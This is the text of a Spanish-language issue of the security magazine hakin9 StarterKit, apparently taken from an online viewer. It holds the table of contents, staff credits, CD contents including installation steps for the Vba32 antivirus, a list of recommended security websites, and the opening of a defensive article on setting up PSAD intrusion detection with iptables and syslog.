hakin9 Starterkit
hakin9 Starterkit
hakin9 Starterkit
¡Convierta sus PDFs en revista en línea y aumente sus ingresos!
Optimice sus revistas en línea para SEO, use backlinks potentes y contenido multimedia para aumentar su visibilidad y ventas.
4<br />
Queridos lectores<br />
El mundo TI siempre era para mí un mundo desconocido,<br />
pero también un mundo mágico.<br />
Quería saber algo más de él pero siempre tenía<br />
miedo. Entrar en el mundo TI me resultaba dificil, pero<br />
poco a poco entré y me absorbó. El miedo ha cambiado<br />
en respeto...<br />
Iniciamos un nuevo proyecto. Cada tres meses aportamos<br />
nuevas informaciones y artículos para principiantes.<br />
Para todo el mundo interesado en TI, para éstos que<br />
poseen conocimientos básicos en computación y quieren<br />
saber más, pero no saben por dónde empezar...<br />
Queremos crear una revista junto con nuestros lectores.<br />
Estamos abiertos a vuestras propuestas, porque<br />
sois vosotros quienes conocéis mejor vuestras necesidades.<br />
Siempre invitamos a todos que deseen ser nuestros<br />
autores, correctores o simplemente tienen propuestas de<br />
cómo mejorar <strong>hakin9</strong> StarterKit.<br />
En el primer número publicamos los mejores articúlos<br />
para principiantes de <strong>hakin9</strong> y...mucho más.<br />
Hablamos del uso de cortafuegos (firewalls) y su<br />
importancia en la política de seguridad. Presentamos las<br />
técnicas de ADS y ofuscación, primera es de ocultación<br />
de un documento en otro y segunda de encubrimiento<br />
de código fuente de la información...y una crítica de<br />
Windows Vista y de su concepto de seguridad. Damos<br />
también unos consejos de cómo usar vulnerabilidades y<br />
fallos del sistema para hacerlo más seguro en el futuro.<br />
Que más puedo decir... ¡Os invito a la lectura!<br />
Natasza Balwierczak<br />
Redactora Jefa de <strong>hakin9</strong> StarterKit<br />
www.<strong>hakin9</strong>.org/es<br />
Contenido de CD 6<br />
Monika Szymańska, David Santamaria<br />
Este ejemplar de <strong>hakin9</strong> <strong>Starterkit</strong>, viene, con la<br />
distribución <strong>hakin9</strong>.live, basada en Backtrack 2.0<br />
CD y completada con utiles herramientas y plug-ins.<br />
BackTrack 2.0 es la distribución de Linux dedicada al<br />
testeo de redes mejor valorada en la actualidad.<br />
Mucho más que cortafuegos 10<br />
Jess García<br />
Los cortafuegos siguen evolucionando. Debido al<br />
importante papel que juegan en la infrastructura de<br />
una red son quizás el lugar adecuado para implementar<br />
ciertos controles y otros tipos de funciones<br />
que no se relacionan estrictamente con el filtrado de<br />
tráfico convencional.<br />
Ofuscación para principiantes 18<br />
Laic Aurelian<br />
De acuerdo con Wikipedia ofuscación es encubrir el<br />
significado de una comunicación haciéndola más confusa<br />
y difícil de interpretar. Por eso el Código ofuscado<br />
es un código fuente intencionadamente transformado<br />
para que sea muy difícil de leer y comprender.<br />
Firewall con 2 canales de Internet 24<br />
Samuel Diaz<br />
Los cortafuegos siguen evolucionando. Debido al<br />
importante papel que juegan en la infrastructura de<br />
una red son quizás el lugar adecuado para implementar<br />
ciertos controles y otros tipos de funciones<br />
que no se relacionan estrictamente con el filtrado de<br />
tráfico convencional.<br />
Seguridad en Windows Vista 28<br />
Oscar Martínez Pérez<br />
El coloso Microsoft, que lanzó en Octubre del 2001<br />
Windows XP, vuelve a la carga con una nueva versión,<br />
de su sistema operativo Windows, por el que ha<br />
recibido durante años, críticas y alabanzas de todo<br />
tipo. Según Microsoft con esta nueva apuesta, lanza<br />
un sistema operativo, mucho más sencillo, seguro y<br />
divertido, pero sobretodo seguro.<br />
Inseguridad de la información 34<br />
Armando Carvajal<br />
La inseguridad de la información es el reto permanente<br />
del encargado de la seguridad de la información.<br />
Cada nueva vulnerabilidad, cada nueva falla<br />
identificada establece un reto, no solamente para<br />
reparar los daños y la falla, sino para comprender<br />
la mente del intruso, los elementos que intervienen<br />
en la falla e identificar la evidencia de los hechos<br />
materializados.
El valor forense de los honeypots 42<br />
Armando Carnajal<br />
Los honeypots se muestran en el mundo de la informática<br />
como la trampa perfecta para todos aquellos<br />
posibles atacantes, su labor radica en simular<br />
ser vulnerables o debiles al ataque, captando toda<br />
la información de sus agresores una vez diagnosticado<br />
al agresor, advierte al administrador del sistema,<br />
antes de dañar completamente la red.<br />
Vulnerabilidades de WEP y WPA 54<br />
José Luís Picazo Martínez<br />
Las redes inalámbricas Wifi, se han convertido<br />
en una necesidad para los usuarios domésticos<br />
de hoy en día. Su uso masivo ha provocado que<br />
con la misma rapidez con la que se han intentado<br />
proteger...<br />
Digitalización<br />
de Documentos Certificada 58<br />
Roger Carhuatocto<br />
El artículo explica cómo diseñar y construir una aplicación<br />
que convierta documentos en papel a formato<br />
digital con la garantía de que los documentos digitales<br />
sean copia fiel a...<br />
Doctor Jekyll<br />
y Mr. Hyde versión NTFS 64<br />
Laic Aurelian<br />
Este artículo trata sobre Alternate Data Streams.<br />
Comparándola con la estaganografía clásica, esta<br />
técnica oculta documentos asociándolos como un<br />
stream en otro documento...<br />
USB Payload – el gadget<br />
más potente del agente 007 70<br />
Yago F. Hansen<br />
Las herramientas de auditoría y enumeración que<br />
se incluyen en las distribuciones del tipo USB<br />
payload no son nada nuevo, en todo caso actualizaciones.<br />
Lo novedoso de este sistema, por lo<br />
tanto no es el contenido, sino la forma de empaquetarlo<br />
utilizando...<br />
En el proximo número 82<br />
Aquí presentamos artículos para proximo numero de<br />
Hakin9 StarterKit.<br />
está editado por Software-Wydawnictwo Sp. z o.o.<br />
Dirección: Software-Wydawnictwo Sp. z o.o.<br />
ul. Bokserska 1, 02-682 Varsovia, Polonia<br />
Tel: +34 917 610 987, Fax: +48 22 427 36 39<br />
www.<strong>hakin9</strong>.org/es<br />
Producción: Marta Kurpiewska marta.kurpiewska@software.com.pl<br />
Distribución: Katarzyna Chauca katarzyna.chauca@software.com.pl<br />
Redactor jefe: Natasza Balwierczak natasza.balwierczak@<strong>hakin9</strong>.org<br />
Redactor adjunto: Monika Szymanska monika.szymanska@<strong>hakin9</strong>.org<br />
Preparación del CD: Rafał Kwaśny<br />
DTP Manager: Robert Zadrożny robert.zadrozny@software.com.pl<br />
Composición: Ewa Turowska ewa.turowska@software.com.pl,<br />
Jarosław Zakwrzewski jaroslaw.zakrzewski@software.com.pl<br />
Betatesters: Edison Josue Diaz, Francisco Jesus Gómez, Jose Luis<br />
Nunez Montes, Juan Carlos Montejo Lopez, Jaume Mayor<br />
Corrección: Evangelina Jacob, Juan Carlos Montejo López,<br />
Daniel Perez Clavero<br />
Publicidad: adv@software.com.pl<br />
Suscripción: suscripcion@software.com.pl<br />
Diseño portada: Agnieszka Marchocka<br />
Las personas interesadas en cooperación rogamos<br />
se contacten: es@<strong>hakin9</strong>.org<br />
Si estás interesado en comprar la licencia para editar nuestras revistas<br />
contáctanos:<br />
Katarzyna Chauca<br />
e-mail: katarzyna.chauca@software.com.pl<br />
tel.: +34 917 610 987<br />
fax: +48 22 427 36 39<br />
Imprenta: 101 Studio, Firma Tęgi<br />
Distribuye: coedis, s.l.<br />
Avd. Barcelona, 225<br />
08750 Molins de Rei (Barcelona), España<br />
La Redacción se ha esforzado para que el material publicado en la revista<br />
y en el CD que la acompaña funcione correctamente. Sin embargo, no se<br />
responsabiliza de los posibles problemas que puedan surgir.<br />
Todas las marcas comerciales mencionadas en la revista son propiedad de<br />
las empresas correspondientes y han sido usadas únicamente con fines<br />
informativos.<br />
¡Advertencia!<br />
Queda prohibida la reproducción total o parcial de esta publicación<br />
periódica, por cualquier medio o procedimiento, sin para ello contar<br />
con la autorización previa, expresa y por escrito del editor.<br />
La Redacción usa el sistema de composición automática<br />
Los diagramas han sido elaborados con el programa<br />
de la empresa<br />
El CD incluido en la revista ha sido comprobado con el programa<br />
AntiVirenKit, producto de la empresa G Data Software Sp. z o.o.<br />
La revista <strong>hakin9</strong> StarterKit es editada en 3 idiomas:<br />
ES PL EN<br />
Advertencia<br />
¡Las técnicas presentadas en los artículos se pueden usar SÓLO<br />
para realizar los tests de sus propias redes de ordenadores!<br />
La Redacción no responde del uso inadecuado de las técnicas<br />
descritas. ¡El uso de las técnicas presentadas puede provocar la<br />
pérdida de datos!
kit<br />
Contenido del CD<br />
Este ejemplar de <strong>hakin9</strong> <strong>Starterkit</strong>, viene, con la<br />
distribución <strong>hakin9</strong>.live, basada en Backtrack<br />
2.0 CD y completada con utiles herramientas<br />
y plug-ins. BackTrack 2.0 es la distribución de Linux<br />
dedicada al testeo de redes mejor valorada en la actualidad.<br />
La platforma de análisis arranca desde el CD sin<br />
necesitar ningún tipo de instalación y en minutos está<br />
lista para ser usada sin restricciones.<br />
Para empezar y usar BackTrack 2.0 <strong>hakin9</strong>.live no<br />
tienes más que arrancar el equipo con el CD. Para<br />
utilizar las aplicaciones comerciales que hemos conseguido<br />
para los lectores de <strong>hakin9</strong> no necesitas cargar<br />
la distribución : se encuentran separadas en la carpeta<br />
Applications y están accesibles directamente.<br />
El CD en este mes contiene:<br />
40 tutoriales sobre Visual Basic<br />
Presentamos para nuestros lectores 35 video tutoriales<br />
sobre Visual Basic.<br />
Visual Basic constituye un IDE (entorno de desarrollo<br />
integrado o en inglés Integrated Development<br />
Enviroment)que ha sido empaquetado como un programa<br />
de aplicación, es decir, consiste en un editor de código<br />
(programa donde se escribe el código fuente), un<br />
depurador (programa que corrige errores en el código<br />
fuente para que pueda ser bien compilado), un compilador<br />
(programa que traduce el código fuente a lenguaje<br />
de máquina), y un constructor de interfaz gráfica o GUI<br />
(es una forma de programar en la que no es necesario<br />
escribir el código para la parte gráfica del programa,<br />
sino que se puede hacerlo de forma visual).(wiki)<br />
(www.dragonjar.us)<br />
VirusBlokAda ( Vba32)<br />
Vba32 es una eficaz y rápida herramienta para detectar<br />
y neutralizar viruses informáticos, gusanos<br />
de correo, troyanos y otro malware (backdoors, adware,<br />
spyware, etc). Vba32 proporciona protección<br />
de alto rendimiento a sus ordenadores personales,<br />
estaciones de trabajo y servidores de redes área local.<br />
Vba32 posee un poderoso analizador heurístico<br />
que le protege tanto de nuevos virus como de sus<br />
mutaciones.Una considerable base de programas<br />
maliciosos conocidos y las actualizaciones regulares<br />
del antivirus le proporcionan la más eficaz protección<br />
de su computadora.<br />
Soporte técnico<br />
El soporte es proporcionado por VirusBlockAda Ltd.<br />
License #01019/0026140, 2006/06/30, perteneciente al<br />
State Centre Of Information Security de la República de<br />
6 www.<strong>hakin9</strong>.org/es<br />
Bielorrusia. La licencia posibilita al titular a proporcionar<br />
protección técnica de los datos, incluyendo el uso de métodos<br />
criptográficos y el derecho de uso de firma digital.<br />
Kalvarijskaja Str., 17, 611<br />
220004 Misk, Bielorrusia<br />
Tel .: (+375 17) 226-62-85 – Departmento de Ventas<br />
Tel .: (+375 17) 226-85-55 – Departmento de Programación.<br />
e.mail: support-en@anti-virus.by<br />
Página Web: http://www.anti-virus.by/<br />
Instalando Vba32<br />
• Comenzando la Instalación<br />
• Inicie el fichero de instalación que recibió de su proveedor<br />
o que descargó del sitio de desarrollo.<br />
• Atención: Si utiliza la versión de Vba32 para Windows<br />
NT/2000/XP/2003/Vista asegúrese de que ha iniciado<br />
sesión como administrador en el equipo.<br />
• Pantalla de bienvenida<br />
Presione SIGUIENTE para continuar la instalación. Presione<br />
VER NOVEDADES para conocer los cambios en la<br />
versión del producto.<br />
• Selección del Tipo de instalación<br />
• Puede elegir entre tres tipos de instalación: típica, completa<br />
y Personalizada.<br />
• Típica: Contiene un set de componentes estándar<br />
que proporcionan protección antivirus efectiva para<br />
su equipo. Está recomendada para la mayoría de los<br />
usuarios.<br />
• Completa: Permite instalar todos los componentes de<br />
Vba32. Está recomendada para obtener los mejores<br />
resultados.<br />
• Personalizada: Permite elegir los componentes de<br />
Vba32 a instalar. Está recomendada para usuarios<br />
avanzados.<br />
Presione Examinar para seleccionar la carpeta destine<br />
de la instalación. Presione siguiente para continuar la<br />
instalación.<br />
• Seleccionando las Características<br />
Si ha seleccionado el tipo de instalación Personalizado,<br />
se le mostrará una pantalla con la lista de componentes.<br />
Por defecto, el número de componentes corresponde a<br />
los de la instalación Típica.<br />
• Configurando Vba32
Si no puedes leer el contenido del CD y no es culpa de un daño<br />
mecánico, contrólalo en por lo menos dos impulsiones de CD.<br />
En caso de cualquier problema con CD rogamos<br />
escriban a: cd@software.com.pl<br />
www.<strong>hakin9</strong>.org/es<br />
7
kit<br />
Vba32 puede ser configurado en la siguiente pantalla:<br />
• Iniciar Vba32 Loader al Inicio de Windows - El programa<br />
se cargará automáticamente al iniciar el sistema.<br />
• Crear Iconos en el Escritorio – El icono de Vba32<br />
Loader aparecerá en el Escritorio.<br />
• Mostrar Componentes de Vba32 en el Menú de Inicio<br />
– Se creará el grupo Vba32 en el menú de Inicio.<br />
Además, puede especificar la localización del fichero<br />
llave de registro de Vba32. Presione el botón Examinar y<br />
especifique la ruta al fichero vba32.key en el cuadro de<br />
diálogo. Si no sabe dónde se encuentra, consulte a su<br />
proveedor. Atención: ¡Sin el fichero llave, el programa<br />
funcionará en modo demostración! Sólo se le permitirá<br />
actualizar el producto una vez y algunas características<br />
no estarán disponibles.<br />
• 6- Preparándose para instalar la aplicación<br />
• Presione el botón SIGUIENTE para comenzar a instalar<br />
los ficheros. Presione ATRÁS para cambiar las<br />
opciones anteriores o presione CANCELAR para salir<br />
del programa de instalación.<br />
• 7- La instalación a terminado correctamente<br />
• Presione el botón FINALIZAR para completar la instalación.<br />
Iniciando Vba32 Por primera vez<br />
Tras instalar Vba32 y reiniciar el equipo, verá el icono<br />
del Vba32 Loader en la barra de tareas. Si no hay icono<br />
significa que usted ha desactivado la carga automática al<br />
inicio del sistema durante la instalación; o puede haber<br />
instalado el programa incorrectamente (en este caso se<br />
le recomienda reinstalarlo). Como siguiente paso, le recomendamos<br />
que actualice el programa para obtener los últimos<br />
módulos antivirus. Simplemente tiene que hacer clic<br />
derecho en el icono de Vba32 Loader en la barra de tareas<br />
y seleccionar ACTUALIZAR en el menú desplegable. Por<br />
defecto se descarga de http://anti-virus.by/update/. Puede<br />
utilizar direcciones alternativas de la lista del programa o<br />
especificar cualquier ruta de actualización válida.<br />
• Cuando haya finalizado la actualización podrá efectuar<br />
su primer análisis. Recomendamos analizar todos<br />
los discos de su equipo. Seleccione Scanner del menú<br />
desplegable o presione el botón Scanner en la pantalla<br />
principal del Vba32 Loader. Después presione ><br />
en la barra de herramientas para comenzar el análisis<br />
antivirus. Cuando el análisis haya finalizado, verá los<br />
resultados en la ventana del Vba32 Scanner.<br />
Componentes de Vba32<br />
Vba32 Antivirus es un conjunto de componentes que proporcionan<br />
protección a su computadora frente a programas<br />
maliciosos y virus informáticos. Dependiendo de la versión<br />
que haya adquirido y de los componentes que haya instalado,<br />
pueden encontrarse los siguientes módulos:<br />
8 www.<strong>hakin9</strong>.org/es<br />
• Vba32 Loader es el panel de control principal de<br />
Vba32. Proporciona seguimiento de los módulos<br />
del antivirus, lanza el Scanner de Vba32 y modifica<br />
los parámetros de monitorización. Véase también<br />
interfaz del Programa para aprender más sobre las<br />
funciones del Vba32 Loader.<br />
• Vba32 Monitor proporciona protección permanente<br />
de los ficheros existentes así como de los<br />
nuevos ficheros obtenidos de la red local y otras<br />
unidades, descargados de Internet o recibidos vía<br />
E-mail. Véase Protección Activa de ficheros para<br />
aprender más sobre las funciones del vba32 Monitor.<br />
• Vba32 Scanner proporciona el análisis bajo demanda<br />
de las unidades, carpetas y ficheros. Proporciona<br />
sencillas formas de presentación de los resultados del<br />
análisis. Véase Análisis de ficheros Bavjo Demanda<br />
para aprender más sobre las funciones del Vba32<br />
Scanner.<br />
• El Windows/DOS Console Scanner está diseñado para<br />
el análisis antivirus de discos, carpetas y ficheros usando<br />
la línea de comandos. Véase Windows/DOS Console<br />
Scanner para aprender más sobre estas funciones.<br />
• La Extensión del Menú contextual de Windows Explorer<br />
permite analizar ficheros específicos desde el<br />
menú contextual del Windows Explorer. Véase Menú<br />
contextual En Windows Explorer para aprender más<br />
sobre estas funciones.<br />
• El Antivirus Mail Filter analiza mensaje de e-mail recibidos<br />
mediante los protocolos POP3 e IMAP4 antes<br />
de ser recibidos por los clientes de correo. Véase<br />
Vba32 Mail Filter para más información.<br />
• El Plugin Antivirus para The Bat! está diseñado para<br />
proteger el cliente de correo The bat!, versión 1.61 y<br />
superiores. Véase Módulo The Bat Vba32 para más<br />
información.<br />
• El Plugin Antivirus para Microsoft Outlook está<br />
diseñado APRA proteger los clientes de correo<br />
Microsoft Outlook y Microsoft Exchange Client.<br />
Véase Vba32 Outlook Plugin para más información.<br />
• El Antivirus Script Filter protege Microsoft Internet<br />
Explorer, Microsoft Outlook Express y cualquier otra<br />
aplicación que utilice Microsoft Windows Scripting<br />
host. Véase Antivirus Internet Protection para más<br />
información.<br />
• Antidialer – Proporciona protección contra intentos no<br />
autorizados de creación de conexiones a números de<br />
teléfono desconocidos. Véase Vba32 Antidialer para<br />
más información.<br />
• Antivirus Quarantine – almacena los ficheros sospechosos<br />
e infectados que son detectados por los plugins<br />
de Vba32. véase Antivirus Quarantine para más<br />
información.<br />
Atención: Keyfile para programa VirusBlokada va a funcionar<br />
después 5 de Marzo. l
Páginas recomendadas<br />
Una especie de portal para la gente a que<br />
le gusta la informática y la seguridad. Si te gusta<br />
este mundo, te gustará elhacker.net.<br />
http://www.elhacker.net<br />
Un lugar de encuentro para todos interesados<br />
en temas de seguridad<br />
www.daboweb.com<br />
Aquí encontrarás todo lo que debes saber<br />
www.segu-info.com.ar<br />
Web especializada en artículos técnicos sobre<br />
Linux. Aquí encontrarás las últimas noticias sobre<br />
Linux y Software Libre, foros.<br />
www.diariolinux.com<br />
CyruxNET – allí encontrarás la información<br />
detallada sobre las técnicas hack más populares.<br />
http://www.cyruxnet.org<br />
Hack Hispano, comunidad de usuarios en la<br />
que se tratan temas de actualidad sobre nuevas<br />
tecnologías, Internet y seguridad informática.<br />
http://www.hackhispano.com<br />
Tecnología, informática e Internet. Allí encontrarás<br />
enlaces, foros, fondos de escritorio y una biblioteca<br />
repleta de artículos interesantes...<br />
http://www.hispabyte.net<br />
Seguridad0 es un magazine gratuito de seguridad<br />
informática. Tiene una periodicidad semanal,<br />
aunque se anaden noticias a diario.<br />
http://www.seguridad0.com<br />
Sitio de noticias que brinda la más variada información<br />
en cuanto al mundo de los móviles,<br />
enlaces, contactos, y mucho más.<br />
www.diginota.com<br />
Un espacio libre para compartir: descargas,<br />
software, programas oscuros, dudas, noticias,<br />
trucos... y más cosas a ritmo de blues.<br />
http://www.viejoblues.com<br />
Indaya teaM fue creada por un grupo de personas<br />
amantes de la informática para ayudar<br />
a todos los que se interesan por la informática.<br />
http://www.indaya.com<br />
DelitosInformaticos.com revista digital de información<br />
legal sobre nuevas tecnologías.<br />
www.delitosinformaticos.com<br />
Páginas recomendadas<br />
Si tienes una página web interesante y quieres que la presentemos en<br />
nuestra sección de “Páginas recomendadas” contáctanos: es@<strong>hakin9</strong>.org
kit<br />
Mucho más<br />
que un cortafuegos<br />
Jess Garcia<br />
Adicionalmente, los cortafuegos tuvieron<br />
que adaptarse a las nuevas tecnologías<br />
y amenazas que el siglo 21 trajo consigo.<br />
Si echamos un vistazo a los cortafuegos comerciales<br />
más populares, podremos observar que la<br />
mayoría de ellos incorporan una serie de características<br />
que no están relacionadas con el papel<br />
que desempeña un cortafuegos como dispositivo<br />
de filtrado de tráfico red convencional: Red Privada<br />
Virtual (VPN), Autorización de Certificados,<br />
Inspección de Contenido, Deteccion y Prevención<br />
de Intrusos, soporte para redes virtuales de área<br />
local (VLAN), virtualización y un largo etcétera.<br />
Estas características han sido incluidas durante<br />
el paso de los años para proporcionar más flexibilidad<br />
a las compañías que necesitan hacer uso<br />
de cortafuegos escalables, fáciles de administar<br />
y eficaces.<br />
Sin embargo, no es muy común ver estas<br />
características implementadas en cortafuegos<br />
Open Source o de código abierto, como por ejemplo<br />
Iptables en sistemas GNU/Linux, o PF (Packet<br />
Filter) en OpenBSD, ya que siguen un modelo diseño<br />
más abierto. Es decir, cuando necesitas una<br />
funcionalidad extra la debes que añadir tú mismo.<br />
Esto se puede realizar sin demasiado esfuerzo y<br />
logrará extender las capacidades de tu cortafue-<br />
10 www.<strong>hakin9</strong>.org/es<br />
Los cortafuegos siguen<br />
evolucionando. Debido al<br />
importante papel que juegan en<br />
la infrastructura de una red son<br />
quizás el lugar adecuado para<br />
implementar ciertos controles<br />
y otros tipos de funciones que<br />
no se relacionan estrictamente<br />
con el filtrado de tráfico<br />
convencional.<br />
gos para suministrar características como por<br />
ejemplo las mencionadas anteriormente.<br />
En este artículo hablaremos sobre algunas de<br />
estas funcionalidades extra y de cómo aplicarlas<br />
en tu cortafuegos de manera un tanto especial.<br />
Detección de Intrusos<br />
La Detección de Intrusos es el arte de detectar<br />
una actividad inapropiada en la red y en el sistema.<br />
En pocas palabras, y según un escenario<br />
más habitual, esto significaría que cuando un<br />
usuario malicioso ataca los sistemas de tu red,<br />
éste sería detectado al instante.<br />
Una evolución del concepto de la detección<br />
de intrusos es la prevención de intrusos, que<br />
En este artículo aprenderás<br />
• Las tecnologías de seguridad adicional que<br />
pueden emplearse en tu cortafuegos.<br />
Lo que deberías saber<br />
• Deberías haber leído el artículo de Antonio Merola<br />
& Arrigo Triulzi sobre las bases del filtrado<br />
de paquetes.
además de detectar un ataque, aplica<br />
una metodología para detenerlo. Obviamente,<br />
la labor de prevención es<br />
siempre mejor que la de detección,<br />
ya que solamente se podría prevenir<br />
un ataque cuando se tiene la certeza<br />
de que una actividad particular es<br />
maliciosa.<br />
Esta es una tarea difícil, y por eso<br />
los sistemas de prevención de intrusión<br />
(IPS) no son tan populares como<br />
los sistemas de detección de Intrusos<br />
(IDS), especialmente cuando no se<br />
tiene la certeza de que la actividad<br />
inapropiada es maliciosa.<br />
Existen dispositivos especializados,<br />
sistemas de detección de<br />
intrusos y sistemas de prevención<br />
de intrusos que están especialmente<br />
diseñados para llevar a cabo dichas<br />
funciones. Sin embargo, ¿no sería<br />
genial que pudiéramos implementarlas<br />
en nuestros propios cortafuegos?<br />
Pues bien, es posible.<br />
Actualmente los cortafuegos comerciales<br />
más populares incluyen capacidades<br />
IDS e IPS, desde básicas<br />
hasta avanzadas.<br />
También podemos encontrar aplicaciones<br />
de código abierto que nos<br />
permitirán obtener estas funcionalidades<br />
extra, aunque habrá que trabajar<br />
bastante para que los resultados obtenidos<br />
se adecuen a los objetivos que<br />
perseguimos.<br />
Empezaremos pues añadiendo<br />
funcionalidades de IDS a nuestro<br />
dispositivo. Existen muchas maneras<br />
de implementar la detección de<br />
intrusos. La más obvia consiste en<br />
emplear software de deteccion de intrusos.<br />
Con respecto a esto, estamos<br />
de suerte, ya que una de las mejores<br />
aplicaciones IDS es Open Source o<br />
de código abierto. Se llama Snort [1] y<br />
puede que hayas oído hablar de él, ya<br />
que se trata de un software bastante<br />
popular y utilizado con frecuencia. El<br />
tipo principal de detección de intrusiones<br />
que hace Snort es el denominado<br />
basada en firmas, osea, basado en<br />
el tipo de tráfico de red característico<br />
que genera un ataque en concreto.<br />
Sin embargo, empleando un IDS<br />
no es la única forma de conseguir<br />
esto. Puede que la mayoría de los<br />
administradores de cortafuegos no<br />
se imaginen que dichos dispositivos<br />
constituyen una gran fuente de datos<br />
que se puede utilizar en la labor de detección<br />
de intrusos. ¿Por qué razón?<br />
Bueno, los cortafuegos son dispositivos<br />
que cumplen con las políticas de<br />
filtrado de la organización. Osea, un<br />
conjunto de reglas que establecen lo<br />
que está permitido y lo que no a nivel<br />
de la capa de red.<br />
Cuando el dispositivo está configurado<br />
apropiadamente, el cortafuegos<br />
no permitirá ningún tipo de tráfico que<br />
no sea necesario y además, registrará<br />
todas las violaciones de dicha política,<br />
suministrando posteriormente los<br />
datos de la presunta intrusión. Ahora<br />
bien, se realiza una intrusión, muchas<br />
veces se debe a la violación de la política<br />
de filtrado de la organización.<br />
Como por ejemplo, cuando un<br />
atacante comienza a escanear la<br />
red interna, trata de comprometer un<br />
servidor o intenta conectarse a un<br />
canal de IRC en un servidor remoto.<br />
Así pues, estas actividades serán<br />
típicamente detectadas y se registrarán<br />
como tráfico inapropiado por<br />
un cortafuegos que esté configurado<br />
correctamente.<br />
Asimismo, puede que también te<br />
preguntes, ¿Qué herramientas puedo<br />
usar para realizar la monitorización del<br />
registro del cortafuegos? Pues bien,<br />
existen un buen montón de herramientas<br />
[2] que pueden realizar la monitorizacion<br />
de los registros del cortafuegos.<br />
Las hay desde los más simples, como<br />
por ejemplo el analizador de registros<br />
de IPtables, fwlogwatch que funciona<br />
con Netfilter/IPtables, Hatchet que fue<br />
diseñado para el cortafuegos personal<br />
de OpenBSD, hasta los más sofisticados<br />
motores de administración de<br />
seguridad de la Información, como por<br />
ejemplo OSSIM, cuyos registros del<br />
cortafuegos se pueden interrelacionar<br />
con otros registros de seguridad, como<br />
por ejemplo los registros sistema<br />
o de la red.<br />
PSAD<br />
Existen más herramientas para sistemas<br />
GNU/Linux que están incluso<br />
más orientadas a la detección de<br />
intrusos que las herramientas mencionadas<br />
anteriormente. Este es<br />
www.<strong>hakin9</strong>.org/es<br />
Cortafuegos<br />
el caso de PSAD [3], que emplea<br />
los archivos de registro de Netfilter/<br />
IPtables de los sistemas GNU/Linux<br />
y es capaz de detectar escaneos de<br />
red, firmas de Snort, reconocimentos<br />
pasivos del sistema, etc.<br />
Adicionalmente, si combinamos<br />
PSAD con fwsnort [4], se pueden<br />
incluso emplear dichas firmas a nivel<br />
de aplicación, gracias a la capacidad<br />
de las cadenas de Netfilter/IPtables.<br />
La instalación de PSAD es muy<br />
simple. Podemos encontrar paquetes<br />
de la aplicación para la mayoría<br />
de distribuciones de sistemas GNU/<br />
Linux.<br />
PSAD funciona monitorizando<br />
los mensajes que IPtables envía al<br />
registro de sistema Así pues, habrá<br />
que configurarlo para que registre<br />
los mensajes emitidos por el kernel<br />
en la ruta /var/lib/psad/psadfifo y el<br />
demonio de PSAD pueda recibirlos:<br />
echo -e 'kern.info\t|/var/lib/psad/<br />
psadfifo' >> /etc/syslog.conf<br />
Acto seguido, reiniciaremos Syslog:<br />
/etc/init.d/sysklogd restart<br />
A partir de este momento será posible<br />
guardar los mensajes emitidos<br />
por Netfilter/IPtables en el registro<br />
del sistema pero ¿qué es lo que<br />
realmente se está registrando?<br />
Podemos consultar la configuración<br />
de IPtables mediente la ejecución<br />
del comando siguiente: iptables -<br />
L -vn. Observaremos entonces que<br />
algunas líneas contienen la palabra<br />
LOG.<br />
Por defecto GNU/Linux no registra<br />
paquetes sueltos o rechazados<br />
cuando las políticas DENEGAR o<br />
RECHAZAR están configuradas de<br />
forma predeterminada (las políticas<br />
por defecto se establecen con el<br />
comando iptables -P). Así pues,<br />
es recomendable preparar un script<br />
con los comandos adecuados para<br />
que se ejecute de forma automática<br />
cada vez que se inicie la aplicación<br />
(Listado 1).<br />
Después de configurar el registro<br />
del cortafuegos le toca el turno a<br />
PSAD. La configuración de PSAD<br />
11
kit<br />
no es complicada, incluso con el<br />
montón de opciones entre las que<br />
podemos elegir. Tan solo hay que<br />
editar el archivo /etc/psad/psad.conf<br />
y especificar la dirección IP, el nombre<br />
del host, la red local y poco más.<br />
Luego habrá que reiniciar el demonio<br />
mediante el comando siguiente.<br />
/etc/init.d/psad start<br />
Realizado este paso, tan sólo hemos<br />
de esperar que nos lleguen los mensajes<br />
de alerta, bien por correo electrónico,<br />
bien a través de los archivos<br />
de registro de PSAD almacenados<br />
en /var/log/psad. Además, se pueden<br />
utilizar aplicaciones de registro<br />
adicionales tales como swatch [5],<br />
para monitorizar los archivos de<br />
registro cuando deseemos realizar<br />
acciones sofisticadas después de<br />
que aparezca la alerta. Se puede<br />
decir que poseemos un sencillo<br />
sistema de detección de intrusos en<br />
acción, ¿no?<br />
Hay algo importante que es necesario<br />
tener en cuenta en el escenario<br />
donde nos movemos. Cuando<br />
empleamos este tipo de herramientas<br />
en el entorno hostíl del Internet<br />
de hoy en día, recibiremos miles de<br />
ataques desde la red externa que<br />
podrían llevarnos muy pronto ignorar<br />
los enviadas por PSAD. Así pues,<br />
es recomendable observar nuestro<br />
tráfico saliente. Esta es una estrategia<br />
conocida como Detección de<br />
Extrusión [6].<br />
En el entorno actual, donde los<br />
ataques dirigidos a clientes y las<br />
botnets, ejércitos de computadores<br />
comprometidos por usuarios maliciosos<br />
que realizan ataques de denegación<br />
de servicio o envian correo<br />
basura constituyen una amenaza<br />
constante, será más recomendable<br />
examinar nuestro tráfico de red saliente<br />
mejor que el entrante, ya que<br />
el proceso será mas silencioso y obtendremos<br />
menos falsos positivos.<br />
Prevención de intrusos<br />
Nos centraremos ahora en la prevención<br />
de intrusos. Lo primero que<br />
debemos mencionar es que la prevención<br />
de intrusos no constituye un<br />
reemplazo para la detección de intrusos,<br />
sino más bien un complemento.<br />
Ninguna tecnología de seguridad es<br />
perfecta, y la prevención de intrusos<br />
no es una excepción. Sin embargo,<br />
la combinación de diferentes técnicas<br />
de detección y prevención de host<br />
y de red proporcionan resultados<br />
óptimos (este enfoque de defensa<br />
multicapa denominado Defensa en<br />
Profundidad, demostró que era la<br />
mejor manera de proteger la infraestructuras<br />
de sistema y red actuales).<br />
Además, no hay que olvidarse del<br />
viejo dicho La prevención es idea,<br />
pero la detección es obligación. Más<br />
tarde o más temprano tu equipo o tu<br />
red será atacada por usuarios maliciosos,<br />
sin embargo, lo que no te<br />
puedes permitir es no estar informado<br />
acerca de ello.<br />
El siguiente aspecto que podemos<br />
preguntarnos es acerca del sentido<br />
que tiene que un IPS y un cortafuegos<br />
se combinen en el mismo dispositivo.<br />
La respuesta es porque comparten un<br />
montón de características comunes;<br />
en el caso de cortafuegos, las reglas<br />
deben aplicarse a los puertos, protocolos<br />
y estado de conexiones mientras<br />
que en el caso de los IPS, estas<br />
reglas deben aplicarse al contenido y<br />
características de los paquetes.<br />
Listado 1. Conjunto de configuraciones<br />
